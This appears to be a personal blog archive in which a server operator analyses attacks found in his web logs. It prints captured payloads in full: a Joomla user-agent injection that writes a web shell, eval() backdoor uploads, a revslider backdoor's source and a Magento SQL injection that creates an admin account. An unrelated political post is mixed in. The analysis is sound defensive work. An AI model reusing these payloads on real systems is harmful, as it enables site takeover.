An interesting injection attach via the HTTP user agent string

Looking at my web server logs this morning I noticed a new attack signature. The attacker performs a “GET /” with this “User-Agent” header:

}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:239:\"file_put_contents($_SERVER[\"DOCUMENT_ROOT\"].chr(47).\"shootme.php\",\"|=|\\x3C\".chr(63).\"php \\x24mujj=\\x24_POST['360'];if(\\x24mujj!=''){\\x24xsser=base64_decode(\\x24_POST['z0']);@eval(\\\"\\\\\\x24safedg=\\x24xsser;\\\");}\");JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}~\xd9

It’s obviously a code injection attack. Googling tells me this attack was first documented in December 2015 such as in this writeup. It’s an attempt to inject code via a Joomla CMS vulnerability. I don’t use Joomla so this doesn’t affect my site.

I already had some Apache HTTPD rules to protect against malicious user agent strings including one to detect if it begins with a left bracket:

RewriteCond %{HTTP_USER_AGENT} ^\[ [OR]

Noticing this attack suggests that generalizing that rule would be helpful. So my Apache config now contains this instead:

# If first char isn't an alphanumeric or underscore it's quite possibly an
# attempt to inject code.
RewriteCond %{HTTP_USER_AGENT} ^\W [OR]

Interesting new WordPress attack signature using POST /xmlrpc.php

Today I noticed an interesting, and hitherto unseen, attack from 5.152.192.218 which is owned by cloud provider redstation.com (or redstation.co.uk if you prefer). The attack started with this request:

POST /xmlrpc.php HTTP/1.0
Host: www.skepticism.us
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName><params></params></methodCall>

Note the ancient HTTP/1.0 protocol specification. The methodCall is also ill-formed causing PHP to issue a notice and warning messages about Undefined index: VALUE and Invalid argument supplied for foreach().

That request was followed by another POST /xmlrpc.php that attempted to use the system.multicall method; something I’ve never seen in an attack before now. The “multicall” methods were all wp.getCategories invocations with my user ID and various passwords. In the past six months (as far as my logs go) I only started seeing attempts to exploit wp.getCategories two days ago. And this attack was the first one to do so by using system.multicall to reduce the number of requests it had to make to test which, if any, of large number of passwords was valid

A few minutes after writing the previous text I noticed that I had in fact seen another attack employing the system.multicall method to execute wp.getCategories multiples times in a single request. That attack was from ttnetdc.com in Turkey. That attack was very different. First, it was not preceded by the demo.sayHello request. Second, the wp.getCategories calls all used the generic admin account rather than my account. Third, the XML was formatted in a more or less human readable form rather than the tightly packed sequence of tokens from the attack I saw this morning and talk about above.

Thus it appears that a general approach about how to efficiently test for valid WordPress credentials was recently documented and we’re now seeing various hackers attempt to exploit that advice.

Thailand has reached #1 in attacks against my server

The number of attacks from Thailand has been a significant fraction of the total for several months. In the past 24 hours I saw attacks from 51 address in Thailand, 241 in the past week. That exceeds the runner-up country (US) by a factor of five. Ten months ago I noted that Italy was the source of a disproportionate number of attacks.

Every single recent attack from Thailand has attempted to register a bogus WordPress account via a POST /wp-login.php?action=register request. Some piece of malware has managed to successfully infect a huge number of personal computers in Thailand and nowhere else. All of the computers are in the totbb.net domain

Below is the most recent such request. The details of the user login and email vary but the other details are pretty consistent.

P.S., I recognize that the numbers I’m reporting are insignificant compared to most web servers let alone the Internet as a whole. But that’s the point. My web server (blog) is only a little over a year old. My server is itself insignificant. Which means I have relatively little traffic to wade through. Which makes detecting some problems and trends easier.

POST /wp-login.php?action=register HTTP/1.1
Host: www.skepticism.us
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: Keep-Alive
User-Agent: Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388
Version/12.17
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png,
image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://www.skepticism.us/wp-login.php?action=register
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

user_login=PattiThorne3&user_email=pattisabj9571%40admin2%40metalchopsaw.info&redirect_to=&wp-submit=Register

VPS/cloud provider soladrive.com has no working abuse or support email

Today my server was attacked by a server owned by soladrive.com; specifically IP addr 96.44.156.75 (which is also owned by quadranet.com). I sent a report of the attack to abuse@soladrive.com. That email was rejected with this text:

  pipe to |/home/sola/public_html/support/pipe/pipe.php
    generated by abuse@soladrive.com
    local delivery failed

I then forwarded that to support@soladrive.com — the address I found on their web page. That also bounced with the same error. WTF! Why would anyone use a VPS provider without a working abuse email address? Oh, right. They use companies like this because they don’t give a shit about security or abuse from their network.

Shortly after writing the above text I sent an email to sales@soladrive.com which is also on their public web page as a point of contact. It too bounced with the same error. Jebus H Christus. The people running Soladrive.com appear to be morons.

Another interesting attack against the “beauty-clean” WP theme

Today I logged another attack that attempts to exploit the horribly broken (i.e., full of security holes) “beauty-clean” WordPress theme. It also exploits a misfeature of PHP that is one of hundreds of reasons that PHP needs to die. Anyone who tells me they’re proud they write most of their code in PHP is someone who probably received way too many awards as a child merely for participating.

I wrote about the first attack I noticed against this theme just two weeks ago. This most recent attack is similar yet different. It leverages the fact the WP theme creates a temporary file using the filename provided by the attacker and then doesn’t remove the file.

POST / HTTP/1.1
Referer: http://www.skepticism.us
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Accept: */*
Content-Type: multipart/form-data; boundary=(UploadBoundary)
Host: www.skepticism.us
Content-Length: 409
Connection: Close

--(UploadBoundary)
Content-Disposition: form-data; name="yiw_contact[]"; filename="resd.php"
Content-Type: text/php

<?php $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST['h'],"Access");?>45000
--(UploadBoundary)
Content-Disposition: form-data; name="yiw_action"

sendemail
--(UploadBoundary)
Content-Disposition: form-data; name="id_form"

a_3_3
--(UploadBoundary)

Here is the PHP program the hacker is attempting to install on my system:

$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST['h'],"Access");

Notice the childish attempt at obfuscating the code. Removing the obfuscation we get:

preg_replace("/[discuz]/e", $_POST['h'], "Access");

OMFG! It’s going to execute whatever PHP code the attacker passes via a “h” POST parameter four times: once for each occurrence of the letters “c” and “s” in the word “Access”. So not only is the person who wrote the “beauty-clean” theme incompetent so is this hacker.

Let’s treat gun owners like we treat pregnant women

This is making the rounds but can’t be repeated often enough, so…

The text from the image (so it’s searchable):

“Gun violence problem solved. Or, “hey, how about we treat every young man who wants to buy a gun like every woman who wants to get an abortion” — mandatory 48-hr waiting period, parental permission, a note from his doctor proving he understands what he’s about to do, a video he has to watch about the effects of gun violence, an ultrasound wand up the ass (just because). Let’s close down all but one gun shop in every state and make him travel hundreds of miles, take time off work, and stay overnight in a strange town to get a gun. Make him walk through a guantlet of people holding photos of loved ones who were shot to death, people who call him a murderer and beg him not to buy a gun.

It makes more sense to do this with young men and guns than with women and health care, right? I mean, no woman getting an abortion has killed a room full of people in seconds, right?” — via a friend of a friend

The malware a recent attack against the WordPress revslider plugin attempted to install

I’ve been seeing attempts to exploit bugs in the WordPress revslider plugin for a very long time. But all of the attacks that utilize a POST request have attempted to upload a Zip archive. And a bug in the mod_dumpio module meant I was unable to extract the contents of those zip files. Having just fixed the mod_dumpio module I was able to capture one of those zip archives. The attack was from a server at namecheaphosting.com (I’ve elided the binary zip data):

POST /tag/php/wp-admin/admin-ajax.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.skepticism.us
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Content-Length: 1122
Content-Type: multipart/form-data; boundary=xYzZY
Cookie:

--xYzZY
Content-Disposition: form-data; name="action"

revslider_ajax_action
--xYzZY
Content-Disposition: form-data; name="client_action"

update_plugin
--xYzZY
Content-Disposition: form-data; name="update_file"; filename="revslider.zip"
Content-Type: application/zip

PK…
--xYzZY--

And the contents of the uploaded zip file was a single file named revslider/dor.libs.php with the following content. As you can see it’s a poorly written minimalist backdoor.

<?php
echo "<title>RevSlideR 2015</title><br><br>";
$win = strtolower(substr(PHP_OS,0,3)) == "win";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = true;
 $hsafemode = "4,1ON(BuSuX)";
}
else {$safemode = false; $hsafemode = "OFF(WoKeH)";}
$os = wordwrap(php_uname(),90,"<br>",1);
$xos = "Safe-mode:[Safe-mode:".$hsafemode."] 7 [OS:".$os."]";
echo "<center> ".$xos." </center><br>";

if(isset($_GET['x'])){
echo "<title>PiNDaH 2015</title><br><br>";
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/default.php";
copy($source, $desti);
}

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
        if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
        else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
?>

A fix for the Apache mod_dumpio module not dumping null bytes

Two weeks ago I wrote about my surprise in learning that the Apache mod_dumpio module does not dump null (i.e., zero) bytes. That shortcoming makes it difficult to analyze attacks that involve binary data such as Zip archives. That a module which claims to log all the data sent to or from an Apache web server does not actually do so is rather surprising and exasperating. Especially since the module has been around for at least nine years (earliest reference I could find was October 2006).

As recently as April 2015 someone with a Ph.D. posted on the SANS ISC forums that the Apache dumpio module could be used to log all data. It’s hard to believe that seemingly serious and highly credentialed security researchers have not noticed this module does not log all the data that passes through it. Or, for that matter, that no one else has noticed and fixed this problem in the decade since Jim Jagielski published this module.

I decided to fix this bug. Mostly because I wanted to see what the hackers were trying to upload to my server as a Zip archive in an attempt to exploit WordPress “revslider” plugin vulnerabilities. I intend to submit this updated mod_dumpio.c source code to the Apache project. In the meantime you can download it from here. If you want to install this under HomeBrew on Mac OS X send an email to krader@skepticism.us and I’ll provide guidance.

Update 2015-10-04: This Python program, error_log_data_extract, is what I use to extract and decode the data logged by the mod_dumpio module that I fixed to correctly handle null bytes. This makes it trivial to reconstruct the entire request of an attack including binary data such as Zip archives.

Attacker attempting a SQL injection via POST /admin/Cms_Wysiwyg/directive/index/ request

I’ve only seen this attack twice in the past six months (as far back as I keep logs). The first was on 2015-09-15 from domain qs.biz in Russia (RU). The most recent was today, 2015-09-24, from gigaboxhosting.net in US. This was the request:

POST /admin/Cms_Wysiwyg/directive/index/ HTTP/1.1
Host: www.skepticism.us
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2;
Accept: */*
Content-Length: 1349
Expect: 100-continue
Content-Type: multipart/form-data; boundary=------------------------daadfd20bc730c50

--------------------------daadfd20bc730c50
Content-Disposition: form-data; name="filter"

cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTM…
--------------------------daadfd20bc730c50
Content-Disposition: form-data; name="___directive"

e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ==
--------------------------daadfd20bc730c50
Content-Disposition: form-data; name="forwarded"

1
--------------------------daadfd20bc730c50--

The ___directive value decodes to

{{block type=Adminhtml/report_search_grid output=getCsvFile}}

The filter value decodes to

popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);SET @SALT = \t'rp';SET @PASS = CONCAT(MD5(CONCAT( @SALT , 'ganteng123') ), CONCAT(':',
@SALT ));SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','039efceb0a7b17b@telekpitekwashere.cok','coadmin',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = 'coadmin'),'Firstname');

A google search suggests that this attacker is trying to exploit a vulnerability in the Magento.com CMS products that has already been fixed. The attacker is clearly trying to create an administrator account with a password that they know (“ganteng123”) in order to gain control of the site.

This attack against my server is more sophisticated than the majority of attacks I’ve seen. It’s a variation of a SQL injection attack most notably illustrated by Randall Munroe at his XKCD cartoon “Exploits of a Mom”.

Attacker attempts to install minimalist backdoor via POST /license.php

This has been quite a week for novel attacks. Prior to the past few days it seemed like nearly 100% of the attacks I observed against my server fell into just a couple of categories:

1) credential guessing via /xmlrpc.php or /wp-login.php, and

2) attempts to exploit WordPress plugin “revslider” vulnerabilities to install malware to my server.

Today’s entry in the new and unusual category is from a server in the US in the colocrossing.com domain. It first attempted a POST / request which my Apache firewall rules rejected and caused the source to be blacklisted. Notice that it is attempting to install the most minimal backdoor you can imagine. It’s just a single-line PHP script that simply evaluates whatever PHP statements the attacker hands it.

POST / HTTP/1.1
Referer: http://skepticism.us
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Accept: */*
Content-Type: multipart/form-data; boundary=(UploadBoundary)
Host: skepticism.us
Content-Length: 340
Connection: Close

--(UploadBoundary)
Content-Disposition: form-data; name="yiw_contact[]"; filename="sys.php"
Content-Type: text/php

...<?php @eval($_POST["err"]);?>45000

--(UploadBoundary)
Content-Disposition: form-data; name="yiw_action"

sendemail
--(UploadBoundary)
Content-Disposition: form-data; name="id_form"

a_3_3
--(UploadBoundary)

It was apparently trying to exploit either a WordPress plugin or malware already present on my server to create a file named “sys.php” that did nothing more than eval() whatever PHP statements it was handed in a POST request. I did a bit of googling and found a couple of WP plugins that might be relevant but was not able to definitively find a match.

When that upload failed it attempted to create the same file with the same content via a POST /license.php request.

Finally, despite my server having returned HTTP 400 and 403 statuses for all the requests it tried to see if the “sys.php” file was present and could be fetched. Notice it’s sleazy attempt to impersonate the Google web crawler:

GET /sys.php HTTP/1.1
Referer: http://www.googlebot.com/bot.html
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Host: skepticism.us
Connection: Close
Update 2014-09-24: I just saw the same attack again from someplace in Korea (no reverse DNS or WhoIs data for the address). Only this time the core of the malware is

@eval($_POST["Fktol!coco"])

Notice the POST parameter has changed from err to Fktol!coco.